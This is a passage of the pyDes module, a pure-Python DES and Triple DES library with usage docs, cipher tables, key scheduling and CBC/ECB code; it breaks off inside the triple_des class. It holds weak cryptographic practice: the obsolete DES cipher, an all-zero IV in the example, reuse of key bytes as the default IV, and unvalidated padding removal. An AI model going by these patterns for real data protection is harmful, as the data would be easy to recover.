24 | # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. | |
25 | # | |
26 | """A pure python implementation of the DES and TRIPLE DES encryption algorithms. | |
27 | ||
28 | Class initialization | |
29 | -------------------- | |
30 | pyDes.des(key, [mode], [IV], [pad], [padmode]) | |
31 | pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) | |
32 | ||
33 | key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes | |
34 | for Triple DES | |
35 | mode -> Optional argument for encryption type, can be either | |
36 | pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) | |
37 | IV -> Optional Initial Value bytes, must be supplied if using CBC mode. | |
38 | Length must be 8 bytes. | |
39 | pad -> Optional argument, set the pad character (PAD_NORMAL) to use during | |
40 | all encrypt/decrypt operations done with this instance. | |
41 | padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) | |
42 | to use during all encrypt/decrypt operations done with this instance. | |
43 | ||
44 | I recommend to use PAD_PKCS5 padding, as then you never need to worry about any | |
45 | padding issues, as the padding can be removed unambiguously upon decrypting | |
46 | data that was encrypted using PAD_PKCS5 padmode. | |
47 | ||
48 | Common methods | |
49 | -------------- | |
50 | encrypt(data, [pad], [padmode]) | |
51 | decrypt(data, [pad], [padmode]) | |
52 | ||
53 | data -> Bytes to be encrypted/decrypted | |
54 | pad -> Optional argument. Only when using padmode of PAD_NORMAL. For | |
55 | encryption, adds this characters to the end of the data block when | |
56 | data is not a multiple of 8 bytes. For decryption, will remove the | |
57 | trailing characters that match this pad character from the last 8 | |
58 | bytes of the unencrypted data block. | |
59 | padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL | |
60 | or PAD_PKCS5). Defaults to PAD_NORMAL. | |
61 | ||
62 | ||
63 | Example | |
64 | ------- | |
65 | from pyDes import * | |
66 | ||
67 | data = "Please encrypt my data" | |
68 | k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) | |
69 | # For Python3, you'll need to use bytes, i.e.: | |
70 | # data = b"Please encrypt my data" | |
71 | # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) | |
72 | d = k.encrypt(data) | |
73 | print "Encrypted: %r" % d | |
74 | print "Decrypted: %r" % k.decrypt(d) | |
75 | assert k.decrypt(d, padmode=PAD_PKCS5) == data | |
76 | ||
77 | ||
78 | See the module source (pyDes.py) for more examples of use. | |
79 | You can also run the pyDes.py file without and arguments to see a simple test. | |
80 | ||
81 | Note: This code was not written for high-end systems needing a fast | |
82 | implementation, but rather a handy portable solution with small usage. | |
83 | ||
84 | """ | |
85 | ||
86 | import sys | |
87 | ||
88 | # _pythonMajorVersion is used to handle Python2 and Python3 differences. | |
89 | _pythonMajorVersion = sys.version_info[0] | |
90 | ||
91 | # Modes of crypting / cyphering | |
92 | ECB = 0 | |
93 | CBC = 1 | |
94 | ||
95 | # Modes of padding | |
96 | PAD_NORMAL = 1 | |
97 | PAD_PKCS5 = 2 | |
98 | ||
99 | # PAD_PKCS5: is a method that will unambiguously remove all padding | |
100 | # characters after decryption, when originally encrypted with | |
101 | # this padding mode. | |
102 | # For a good description of the PKCS5 padding technique, see: | |
103 | # http://www.faqs.org/rfcs/rfc1423.html | |
104 | ||
105 | # The base class shared by des and triple des. | |
106 | class _baseDes(object): | |
107 | def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): | |
108 | if IV: | |
109 | IV = self._guardAgainstUnicode(IV) | |
110 | if pad: | |
111 | pad = self._guardAgainstUnicode(pad) | |
112 | self.block_size = 8 | |
113 | # Sanity checking of arguments. | |
114 | if pad and padmode == PAD_PKCS5: | |
115 | raise ValueError("Cannot use a pad character with PAD_PKCS5") | |
116 | if IV and len(IV) != self.block_size: | |
117 | raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") | |
118 | ||
119 | # Set the passed in variables | |
120 | self._mode = mode | |
121 | self._iv = IV | |
122 | self._padding = pad | |
123 | self._padmode = padmode | |
124 | ||
125 | def getKey(self): | |
126 | """getKey() -> bytes""" | |
127 | return self.__key | |
128 | ||
129 | def setKey(self, key): | |
130 | """Will set the crypting key for this object.""" | |
131 | key = self._guardAgainstUnicode(key) | |
132 | self.__key = key | |
133 | ||
134 | def getMode(self): | |
135 | """getMode() -> pyDes.ECB or pyDes.CBC""" | |
136 | return self._mode | |
137 | ||
138 | def setMode(self, mode): | |
139 | """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" | |
140 | self._mode = mode | |
141 | ||
142 | def getPadding(self): | |
143 | """getPadding() -> bytes of length 1. Padding character.""" | |
144 | return self._padding | |
145 | ||
146 | def setPadding(self, pad): | |
147 | """setPadding() -> bytes of length 1. Padding character.""" | |
148 | if pad is not None: | |
149 | pad = self._guardAgainstUnicode(pad) | |
150 | self._padding = pad | |
151 | ||
152 | def getPadMode(self): | |
153 | """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" | |
154 | return self._padmode | |
155 | ||
156 | def setPadMode(self, mode): | |
157 | """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" | |
158 | self._padmode = mode | |
159 | ||
160 | def getIV(self): | |
161 | """getIV() -> bytes""" | |
162 | return self._iv | |
163 | ||
164 | def setIV(self, IV): | |
165 | """Will set the Initial Value, used in conjunction with CBC mode""" | |
166 | if not IV or len(IV) != self.block_size: | |
167 | raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") | |
168 | IV = self._guardAgainstUnicode(IV) | |
169 | self._iv = IV | |
170 | ||
171 | def _padData(self, data, pad, padmode): | |
172 | # Pad data depending on the mode | |
173 | if padmode is None: | |
174 | # Get the default padding mode. | |
175 | padmode = self.getPadMode() | |
176 | if pad and padmode == PAD_PKCS5: | |
177 | raise ValueError("Cannot use a pad character with PAD_PKCS5") | |
178 | ||
179 | if padmode == PAD_NORMAL: | |
180 | if len(data) % self.block_size == 0: | |
181 | # No padding required. | |
182 | return data | |
183 | ||
184 | if not pad: | |
185 | # Get the default padding. | |
186 | pad = self.getPadding() | |
187 | if not pad: | |
188 | raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") | |
189 | data += (self.block_size - (len(data) % self.block_size)) * pad | |
190 | ||
191 | elif padmode == PAD_PKCS5: | |
192 | pad_len = 8 - (len(data) % self.block_size) | |
193 | if _pythonMajorVersion < 3: | |
194 | data += pad_len * chr(pad_len) | |
195 | else: | |
196 | data += bytes([pad_len] * pad_len) | |
197 | ||
198 | return data | |
199 | ||
200 | def _unpadData(self, data, pad, padmode): | |
201 | # Unpad data depending on the mode. | |
202 | if not data: | |
203 | return data | |
204 | if pad and padmode == PAD_PKCS5: | |
205 | raise ValueError("Cannot use a pad character with PAD_PKCS5") | |
206 | if padmode is None: | |
207 | # Get the default padding mode. | |
208 | padmode = self.getPadMode() | |
209 | ||
210 | if padmode == PAD_NORMAL: | |
211 | if not pad: | |
212 | # Get the default padding. | |
213 | pad = self.getPadding() | |
214 | if pad: | |
215 | data = data[:-self.block_size] + \ | |
216 | data[-self.block_size:].rstrip(pad) | |
217 | ||
218 | elif padmode == PAD_PKCS5: | |
219 | if _pythonMajorVersion < 3: | |
220 | pad_len = ord(data[-1]) | |
221 | else: | |
222 | pad_len = data[-1] | |
223 | data = data[:-pad_len] | |
224 | ||
225 | return data | |
226 | ||
227 | def _guardAgainstUnicode(self, data): | |
228 | # Only accept byte strings or ascii unicode values, otherwise | |
229 | # there is no way to correctly decode the data into bytes. | |
230 | if _pythonMajorVersion < 3: | |
231 | if isinstance(data, unicode): | |
232 | raise ValueError("pyDes can only work with bytes, not Unicode strings.") | |
233 | else: | |
234 | if isinstance(data, str): | |
235 | # Only accept ascii unicode values. | |
236 | try: | |
237 | return data.encode('ascii') | |
238 | except UnicodeEncodeError: | |
239 | pass | |
240 | raise ValueError("pyDes can only work with encoded strings, not Unicode.") | |
241 | return data | |
242 | ||
243 | ############################################################################# | |
244 | # DES # | |
245 | ############################################################################# | |
246 | class des(_baseDes): | |
247 | """DES encryption/decrytpion class | |
248 | ||
249 | Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. | |
250 | ||
251 | pyDes.des(key,[mode], [IV]) | |
252 | ||
253 | key -> Bytes containing the encryption key, must be exactly 8 bytes | |
254 | mode -> Optional argument for encryption type, can be either pyDes.ECB | |
255 | (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) | |
256 | IV -> Optional Initial Value bytes, must be supplied if using CBC mode. | |
257 | Must be 8 bytes in length. | |
258 | pad -> Optional argument, set the pad character (PAD_NORMAL) to use | |
259 | during all encrypt/decrypt operations done with this instance. | |
260 | padmode -> Optional argument, set the padding mode (PAD_NORMAL or | |
261 | PAD_PKCS5) to use during all encrypt/decrypt operations done | |
262 | with this instance. | |
263 | """ | |
264 | ||
265 | ||
266 | # Permutation and translation tables for DES | |
267 | __pc1 = [56, 48, 40, 32, 24, 16, 8, | |
268 | 0, 57, 49, 41, 33, 25, 17, | |
269 | 9, 1, 58, 50, 42, 34, 26, | |
270 | 18, 10, 2, 59, 51, 43, 35, | |
271 | 62, 54, 46, 38, 30, 22, 14, | |
272 | 6, 61, 53, 45, 37, 29, 21, | |
273 | 13, 5, 60, 52, 44, 36, 28, | |
274 | 20, 12, 4, 27, 19, 11, 3 | |
275 | ] | |
276 | ||
277 | # number left rotations of pc1 | |
278 | __left_rotations = [ | |
279 | 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 | |
280 | ] | |
281 | ||
282 | # permuted choice key (table 2) | |
283 | __pc2 = [ | |
284 | 13, 16, 10, 23, 0, 4, | |
285 | 2, 27, 14, 5, 20, 9, | |
286 | 22, 18, 11, 3, 25, 7, | |
287 | 15, 6, 26, 19, 12, 1, | |
288 | 40, 51, 30, 36, 46, 54, | |
289 | 29, 39, 50, 44, 32, 47, | |
290 | 43, 48, 38, 55, 33, 52, | |
291 | 45, 41, 49, 35, 28, 31 | |
292 | ] | |
293 | ||
294 | # initial permutation IP | |
295 | __ip = [57, 49, 41, 33, 25, 17, 9, 1, | |
296 | 59, 51, 43, 35, 27, 19, 11, 3, | |
297 | 61, 53, 45, 37, 29, 21, 13, 5, | |
298 | 63, 55, 47, 39, 31, 23, 15, 7, | |
299 | 56, 48, 40, 32, 24, 16, 8, 0, | |
300 | 58, 50, 42, 34, 26, 18, 10, 2, | |
301 | 60, 52, 44, 36, 28, 20, 12, 4, | |
302 | 62, 54, 46, 38, 30, 22, 14, 6 | |
303 | ] | |
304 | ||
305 | # Expansion table for turning 32 bit blocks into 48 bits | |
306 | __expansion_table = [ | |
307 | 31, 0, 1, 2, 3, 4, | |
308 | 3, 4, 5, 6, 7, 8, | |
309 | 7, 8, 9, 10, 11, 12, | |
310 | 11, 12, 13, 14, 15, 16, | |
311 | 15, 16, 17, 18, 19, 20, | |
312 | 19, 20, 21, 22, 23, 24, | |
313 | 23, 24, 25, 26, 27, 28, | |
314 | 27, 28, 29, 30, 31, 0 | |
315 | ] | |
316 | ||
317 | # The (in)famous S-boxes | |
318 | __sbox = [ | |
319 | # S1 | |
320 | [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, | |
321 | 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, | |
322 | 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, | |
323 | 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], | |
324 | ||
325 | # S2 | |
326 | [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, | |
327 | 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, | |
328 | 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, | |
329 | 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], | |
330 | ||
331 | # S3 | |
332 | [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, | |
333 | 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, | |
334 | 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, | |
335 | 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], | |
336 | ||
337 | # S4 | |
338 | [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, | |
339 | 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, | |
340 | 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, | |
341 | 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], | |
342 | ||
343 | # S5 | |
344 | [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, | |
345 | 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, | |
346 | 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, | |
347 | 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], | |
348 | ||
349 | # S6 | |
350 | [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, | |
351 | 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, | |
352 | 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, | |
353 | 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], | |
354 | ||
355 | # S7 | |
356 | [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, | |
357 | 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, | |
358 | 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, | |
359 | 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], | |
360 | ||
361 | # S8 | |
362 | [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, | |
363 | 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, | |
364 | 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, | |
365 | 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], | |
366 | ] | |
367 | ||
368 | ||
369 | # 32-bit permutation function P used on the output of the S-boxes | |
370 | __p = [ | |
371 | 15, 6, 19, 20, 28, 11, | |
372 | 27, 16, 0, 14, 22, 25, | |
373 | 4, 17, 30, 9, 1, 7, | |
374 | 23,13, 31, 26, 2, 8, | |
375 | 18, 12, 29, 5, 21, 10, | |
376 | 3, 24 | |
377 | ] | |
378 | ||
379 | # final permutation IP^-1 | |
380 | __fp = [ | |
381 | 39, 7, 47, 15, 55, 23, 63, 31, | |
382 | 38, 6, 46, 14, 54, 22, 62, 30, | |
383 | 37, 5, 45, 13, 53, 21, 61, 29, | |
384 | 36, 4, 44, 12, 52, 20, 60, 28, | |
385 | 35, 3, 43, 11, 51, 19, 59, 27, | |
386 | 34, 2, 42, 10, 50, 18, 58, 26, | |
387 | 33, 1, 41, 9, 49, 17, 57, 25, | |
388 | 32, 0, 40, 8, 48, 16, 56, 24 | |
389 | ] | |
390 | ||
391 | # Type of crypting being done | |
392 | ENCRYPT = 0x00 | |
393 | DECRYPT = 0x01 | |
394 | ||
395 | # Initialisation | |
396 | def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): | |
397 | # Sanity checking of arguments. | |
398 | if len(key) != 8: | |
399 | raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") | |
400 | _baseDes.__init__(self, mode, IV, pad, padmode) | |
401 | self.key_size = 8 | |
402 | ||
403 | self.L = [] | |
404 | self.R = [] | |
405 | self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) | |
406 | self.final = [] | |
407 | ||
408 | self.setKey(key) | |
409 | ||
410 | def setKey(self, key): | |
411 | """Will set the crypting key for this object. Must be 8 bytes.""" | |
412 | _baseDes.setKey(self, key) | |
413 | self.__create_sub_keys() | |
414 | ||
415 | def __String_to_BitList(self, data): | |
416 | """Turn the string data, into a list of bits (1, 0)'s""" | |
417 | if _pythonMajorVersion < 3: | |
418 | # Turn the strings into integers. Python 3 uses a bytes | |
419 | # class, which already has this behaviour. | |
420 | data = [ord(c) for c in data] | |
421 | l = len(data) * 8 | |
422 | result = [0] * l | |
423 | pos = 0 | |
424 | for ch in data: | |
425 | i = 7 | |
426 | while i >= 0: | |
427 | if ch & (1 << i) != 0: | |
428 | result[pos] = 1 | |
429 | else: | |
430 | result[pos] = 0 | |
431 | pos += 1 | |
432 | i -= 1 | |
433 | ||
434 | return result | |
435 | ||
436 | def __BitList_to_String(self, data): | |
437 | """Turn the list of bits -> data, into a string""" | |
438 | result = [] | |
439 | pos = 0 | |
440 | c = 0 | |
441 | while pos < len(data): | |
442 | c += data[pos] << (7 - (pos % 8)) | |
443 | if (pos % 8) == 7: | |
444 | result.append(c) | |
445 | c = 0 | |
446 | pos += 1 | |
447 | ||
448 | if _pythonMajorVersion < 3: | |
449 | return ''.join([ chr(c) for c in result ]) | |
450 | else: | |
451 | return bytes(result) | |
452 | ||
453 | def __permutate(self, table, block): | |
454 | """Permutate this block with the specified table""" | |
455 | return list(map(lambda x: block[x], table)) | |
456 | ||
457 | # Transform the secret key, so that it is ready for data processing | |
458 | # Create the 16 subkeys, K[1] - K[16] | |
459 | def __create_sub_keys(self): | |
460 | """Create the 16 subkeys K[1] to K[16] from the given key""" | |
461 | key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) | |
462 | i = 0 | |
463 | # Split into Left and Right sections | |
464 | self.L = key[:28] | |
465 | self.R = key[28:] | |
466 | while i < 16: | |
467 | j = 0 | |
468 | # Perform circular left shifts | |
469 | while j < des.__left_rotations[i]: | |
470 | self.L.append(self.L[0]) | |
471 | del self.L[0] | |
472 | ||
473 | self.R.append(self.R[0]) | |
474 | del self.R[0] | |
475 | ||
476 | j += 1 | |
477 | ||
478 | # Create one of the 16 subkeys through pc2 permutation | |
479 | self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) | |
480 | ||
481 | i += 1 | |
482 | ||
483 | def replace_K(self, K): | |
484 | #print(self.Kn) | |
485 | #input('above the original') | |
486 | #print(K) | |
487 | #input('above the replacement') | |
488 | self.Kn = K | |
489 | ||
490 | # Main part of the encryption algorithm, the number cruncher :) | |
491 | def __des_crypt(self, block, crypt_type): | |
492 | """Crypt the block of data through DES bit-manipulation""" | |
493 | block = self.__permutate(des.__ip, block) | |
494 | self.L = block[:32] | |
495 | self.R = block[32:] | |
496 | ||
497 | # Encryption starts from Kn[1] through to Kn[16] | |
498 | if crypt_type == des.ENCRYPT: | |
499 | iteration = 0 | |
500 | iteration_adjustment = 1 | |
501 | # Decryption starts from Kn[16] down to Kn[1] | |
502 | else: | |
503 | iteration = 15 | |
504 | iteration_adjustment = -1 | |
505 | ||
506 | i = 0 | |
507 | while i < 16: | |
508 | # Make a copy of R[i-1], this will later become L[i] | |
509 | tempR = self.R[:] | |
510 | ||
511 | # Permutate R[i - 1] to start creating R[i] | |
512 | self.R = self.__permutate(des.__expansion_table, self.R) | |
513 | ||
514 | # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here | |
515 | self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) | |
516 | B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] | |
517 | # Optimization: Replaced below commented code with above | |
518 | #j = 0 | |
519 | #B = [] | |
520 | #while j < len(self.R): | |
521 | # self.R[j] = self.R[j] ^ self.Kn[iteration][j] | |
522 | # j += 1 | |
523 | # if j % 6 == 0: | |
524 | # B.append(self.R[j-6:j]) | |
525 | ||
526 | # Permutate B[1] to B[8] using the S-Boxes | |
527 | j = 0 | |
528 | Bn = [0] * 32 | |
529 | pos = 0 | |
530 | while j < 8: | |
531 | # Work out the offsets | |
532 | m = (B[j][0] << 1) + B[j][5] | |
533 | n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] | |
534 | ||
535 | # Find the permutation value | |
536 | v = des.__sbox[j][(m << 4) + n] | |
537 | ||
538 | # Turn value into bits, add it to result: Bn | |
539 | Bn[pos] = (v & 8) >> 3 | |
540 | Bn[pos + 1] = (v & 4) >> 2 | |
541 | Bn[pos + 2] = (v & 2) >> 1 | |
542 | Bn[pos + 3] = v & 1 | |
543 | ||
544 | pos += 4 | |
545 | j += 1 | |
546 | ||
547 | # Permutate the concatination of B[1] to B[8] (Bn) | |
548 | self.R = self.__permutate(des.__p, Bn) | |
549 | ||
550 | # Xor with L[i - 1] | |
551 | self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) | |
552 | # Optimization: This now replaces the below commented code | |
553 | #j = 0 | |
554 | #while j < len(self.R): | |
555 | # self.R[j] = self.R[j] ^ self.L[j] | |
556 | # j += 1 | |
557 | ||
558 | # L[i] becomes R[i - 1] | |
559 | self.L = tempR | |
560 | ||
561 | i += 1 | |
562 | iteration += iteration_adjustment | |
563 | ||
564 | # Final permutation of R[16]L[16] | |
565 | self.final = self.__permutate(des.__fp, self.R + self.L) | |
566 | return self.final | |
567 | ||
568 | ||
569 | # Data to be encrypted/decrypted | |
570 | def crypt(self, data, crypt_type): | |
571 | """Crypt the data in blocks, running it through des_crypt()""" | |
572 | ||
573 | # Error check the data | |
574 | if not data: | |
575 | return '' | |
576 | if len(data) % self.block_size != 0: | |
577 | if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks | |
578 | raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") | |
579 | if not self.getPadding(): | |
580 | raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character") | |
581 | else: | |
582 | data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() | |
583 | # print "Len of data: %f" % (len(data) / self.block_size) | |
584 | ||
585 | if self.getMode() == CBC: | |
586 | if self.getIV(): | |
587 | iv = self.__String_to_BitList(self.getIV()) | |
588 | else: | |
589 | raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") | |
590 | ||
591 | # Split the data into blocks, crypting each one seperately | |
592 | i = 0 | |
593 | dict = {} | |
594 | result = [] | |
595 | #cached = 0 | |
596 | #lines = 0 | |
597 | while i < len(data): | |
598 | # Test code for caching encryption results | |
599 | #lines += 1 | |
600 | #if dict.has_key(data[i:i+8]): | |
601 | #print "Cached result for: %s" % data[i:i+8] | |
602 | # cached += 1 | |
603 | # result.append(dict[data[i:i+8]]) | |
604 | # i += 8 | |
605 | # continue | |
606 | ||
607 | block = self.__String_to_BitList(data[i:i+8]) | |
608 | ||
609 | # Xor with IV if using CBC mode | |
610 | if self.getMode() == CBC: | |
611 | if crypt_type == des.ENCRYPT: | |
612 | block = list(map(lambda x, y: x ^ y, block, iv)) | |
613 | #j = 0 | |
614 | #while j < len(block): | |
615 | # block[j] = block[j] ^ iv[j] | |
616 | # j += 1 | |
617 | ||
618 | processed_block = self.__des_crypt(block, crypt_type) | |
619 | ||
620 | if crypt_type == des.DECRYPT: | |
621 | processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) | |
622 | #j = 0 | |
623 | #while j < len(processed_block): | |
624 | # processed_block[j] = processed_block[j] ^ iv[j] | |
625 | # j += 1 | |
626 | iv = block | |
627 | else: | |
628 | iv = processed_block | |
629 | else: | |
630 | processed_block = self.__des_crypt(block, crypt_type) | |
631 | ||
632 | ||
633 | # Add the resulting crypted block to our list | |
634 | #d = self.__BitList_to_String(processed_block) | |
635 | #result.append(d) | |
636 | result.append(self.__BitList_to_String(processed_block)) | |
637 | #dict[data[i:i+8]] = d | |
638 | i += 8 | |
639 | ||
640 | # print "Lines: %d, cached: %d" % (lines, cached) | |
641 | ||
642 | # Return the full crypted string | |
643 | if _pythonMajorVersion < 3: | |
644 | return ''.join(result) | |
645 | else: | |
646 | return bytes.fromhex('').join(result) | |
647 | ||
648 | def encrypt(self, data, pad=None, padmode=None): | |
649 | """encrypt(data, [pad], [padmode]) -> bytes | |
650 | ||
651 | data : Bytes to be encrypted | |
652 | pad : Optional argument for encryption padding. Must only be one byte | |
653 | padmode : Optional argument for overriding the padding mode. | |
654 | ||
655 | The data must be a multiple of 8 bytes and will be encrypted | |
656 | with the already specified key. Data does not have to be a | |
657 | multiple of 8 bytes if the padding character is supplied, or | |
658 | the padmode is set to PAD_PKCS5, as bytes will then added to | |
659 | ensure the be padded data is a multiple of 8 bytes. | |
660 | """ | |
661 | data = self._guardAgainstUnicode(data) | |
662 | if pad is not None: | |
663 | pad = self._guardAgainstUnicode(pad) | |
664 | data = self._padData(data, pad, padmode) | |
665 | return self.crypt(data, des.ENCRYPT) | |
666 | ||
667 | def decrypt(self, data, pad=None, padmode=None): | |
668 | """decrypt(data, [pad], [padmode]) -> bytes | |
669 | ||
670 | data : Bytes to be decrypted | |
671 | pad : Optional argument for decryption padding. Must only be one byte | |
672 | padmode : Optional argument for overriding the padding mode. | |
673 | ||
674 | The data must be a multiple of 8 bytes and will be decrypted | |
675 | with the already specified key. In PAD_NORMAL mode, if the | |
676 | optional padding character is supplied, then the un-encrypted | |
677 | data will have the padding characters removed from the end of | |
678 | the bytes. This pad removal only occurs on the last 8 bytes of | |
679 | the data (last data block). In PAD_PKCS5 mode, the special | |
680 | padding end markers will be removed from the data after decrypting. | |
681 | """ | |
682 | data = self._guardAgainstUnicode(data) | |
683 | if pad is not None: | |
684 | pad = self._guardAgainstUnicode(pad) | |
685 | data = self.crypt(data, des.DECRYPT) | |
686 | return self._unpadData(data, pad, padmode) | |
687 | ||
688 | ||
689 | ||
690 | ############################################################################# | |
691 | # Triple DES # | |
692 | ############################################################################# | |
693 | class triple_des(_baseDes): | |
694 | """Triple DES encryption/decrytpion class | |
695 | ||
696 | This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or | |
697 | the DES-EDE2 (when a 16 byte key is supplied) encryption methods. | |
698 | Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. | |
699 | ||
700 | pyDes.des(key, [mode], [IV]) | |
701 | ||
702 | key -> Bytes containing the encryption key, must be either 16 or | |
703 | 24 bytes long | |
704 | mode -> Optional argument for encryption type, can be either pyDes.ECB | |
705 | (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) | |
706 | IV -> Optional Initial Value bytes, must be supplied if using CBC mode. | |
707 | Must be 8 bytes in length. | |
708 | pad -> Optional argument, set the pad character (PAD_NORMAL) to use | |
709 | during all encrypt/decrypt operations done with this instance. | |
710 | padmode -> Optional argument, set the padding mode (PAD_NORMAL or | |
711 | PAD_PKCS5) to use during all encrypt/decrypt operations done | |
712 | with this instance. | |
713 | """ | |
714 | def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): | |
715 | _baseDes.__init__(self, mode, IV, pad, padmode) | |
716 | self.setKey(key) | |
717 | ||
718 | def setKey(self, key): | |
719 | """Will set the crypting key for this object. Either 16 or 24 bytes long.""" | |
720 | self.key_size = 24 # Use DES-EDE3 mode | |
721 | if len(key) != self.key_size: | |
722 | if len(key) == 16: # Use DES-EDE2 mode | |
723 | self.key_size = 16 | |
724 | else: | |
725 | raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") | |
726 | if self.getMode() == CBC: | |
727 | if not self.getIV(): | |
728 | # Use the first 8 bytes of the key | |
729 | self._iv = key[:self.block_size] | |
730 | if len(self.getIV()) != self.block_size: | |
731 | raise ValueError("Invalid IV, must be 8 bytes in length") | |
732 | self.__key1 = des(key[:8], self._mode, self._iv, | |
733 | self._padding, self._padmode) | |
734 | self.__key2 = des(key[8:16], self._mode, self._iv, | |
735 | self._padding, self._padmode) | |
736 | if self.key_size == 16: | |
737 | self.__key3 = self.__key1 | |
738 | else: | |
739 | self.__key3 = des(key[16:], self._mode, self._iv, | |
740 | self._padding, self._padmode) | |
741 | _baseDes.setKey(self, key) | |
742 | ||
743 | # Override setter methods to work on all 3 keys. | |
744 | ||
745 | def setMode(self, mode): | |
746 | """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" | |
747 | _baseDes.setMode(self, mode) | |
748 | for key in (self.__key1, self.__key2, self.__key3): | |
749 | key.setMode(mode) | |
750 | ||
751 | def setPadding(self, pad): | |
752 | """setPadding() -> bytes of length 1. Padding character.""" | |
753 | _baseDes.setPadding(self, pad) | |
754 | for key in (self.__key1, self.__key2, self.__key3): | |
755 | key.setPadding(pad) | |
756 | ||
757 | def setPadMode(self, mode): | |
758 | """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" | |
759 | _baseDes.setPadMode(self, mode) | |
760 | for key in (self.__key1, self.__key2, self.__key3): | |
761 | key.setPadMode(mode) | |
762 | ||
763 | def setIV(self, IV): | |
764 | """Will set the Initial Value, used in conjunction with CBC mode""" | |
765 | _baseDes.setIV(self, IV) | |
